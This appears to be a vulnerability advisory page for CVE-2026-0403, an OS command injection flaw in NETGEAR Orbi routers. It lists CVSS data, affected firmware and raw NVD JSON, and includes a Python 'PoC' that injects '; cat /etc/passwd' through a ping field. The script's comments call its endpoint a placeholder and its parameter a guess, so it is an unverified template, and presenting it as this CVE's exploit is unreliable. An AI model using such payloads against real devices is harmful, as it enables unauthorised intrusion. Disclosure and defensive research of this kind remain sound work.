Security Vulnerability Report
中文
CVE-2026-0403 CVSS 8.0 HIGH

CVE-2026-0403

Published: 2026-01-13 16:16:10
Last Modified: 2026-02-20 19:38:40
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

An insufficient input validation vulnerability in NETGEAR Orbi routers allows attackers connected to the router's LAN to execute OS command injections.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:rbe971_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:rbe971:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:rbe970_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:rbe970:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:rbr750_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:rbr750:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:rbr850_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:rbr850:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:rbr860_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:rbr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR Orbi RBE970 (固件版本 < 安全修复版本)
NETGEAR Orbi RBE971 (固件版本 < 安全修复版本)
NETGEAR Orbi RBR750 (固件版本 < 安全修复版本)
NETGEAR Orbi RBR850 (固件版本 < 安全修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0403 PoC - NETGEAR Orbi Router OS Command Injection # Note: This PoC is for educational and authorized testing purposes only import requests import sys def exploit_cve_2026_0403(target_ip, target_port=80): """ Exploit for CVE-2026-0403: NETGEAR Orbi Router OS Command Injection Vulnerability: Insufficient input validation allows OS command injection Attack Vector: Adjacent Network (AV:A) Privileges Required: Low (PR:L) User Interaction: None (UI:N) The vulnerability exists due to lack of proper input sanitization in the router's web interface or API endpoints. """ # Target URL - adjust endpoint based on actual vulnerability location base_url = f"http://{target_ip}:{target_port}" # Example malicious payload - inject OS command # The actual vulnerable parameter depends on the specific firmware version payload = { # Example parameter that might be vulnerable 'ping_host': '127.0.0.1; cat /etc/passwd', 'ping_count': '1' } print(f"[*] Targeting: {base_url}") print(f"[*] Sending exploit payload...") try: # Attempt to send exploit request # Note: Actual endpoint needs to be identified from firmware analysis response = requests.post( f"{base_url}/cgi-bin/##", # Placeholder endpoint data=payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for signs of successful command execution if 'root:' in response.text or 'bin:' in response.text: print("[+] Potential command injection successful!") print("[+] Evidence found in response") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_0403_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2026_0403(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0403", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2026-01-13T16:16:10.150", "lastModified": "2026-02-20T19:38:39.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insufficient input validation vulnerability in NETGEAR Orbi routers \nallows attackers connected to the router's LAN to execute OS command \ninjections."}, {"lang": "es", "value": "Una vulnerabilidad de validación de entrada insuficiente en routers NETGEAR Orbi permite a atacantes conectados a la LAN del router ejecutar inyecciones de comandos del sistema operativo."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:rbe971_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.10.0.2", "matchCriteriaId": "EDAED6D8-B0E2-45A0-A817-84112A556728"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:rbe971:-:*:*:*:*:*:*:*", "matchCriteriaId": "C3080999-19F9-4651-80F3-A6461C27E489"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:rbe970_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.10.0.2", "matchCriteriaId": "04268C8F-D8F6-46A9-8006-8FEED3ABF440"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:rbe970:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE1F3088-9598-4EB5-A8A0-E0D4E529CB12"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:rbr750_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.8.5", "matchCriteriaId": "0D73C133-BD68-4532-B267-61796ECB1A07"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:rbr750:-:*:*:*:*:*:*:*", "matchCriteriaId": "C13F5C69-FA9B-472A-9036-0C2967BDCDE9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:rbr850_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.8.5", "matchCriteriaId": "7E5B3B94-CC3D-4CFC-9FE2-9EF5CEBD4B1A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:rbr850:-:*:*:*:*:*:*:*", "matchCriteriaId": "D92E4C8E-222A-476C-8273-F7171FC61F0B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:rbr860_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.8.5", "matchCriteriaId": "659D5BE0-C045-48FD-9214-B35D408AF0BA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:rbr8 ... (truncated)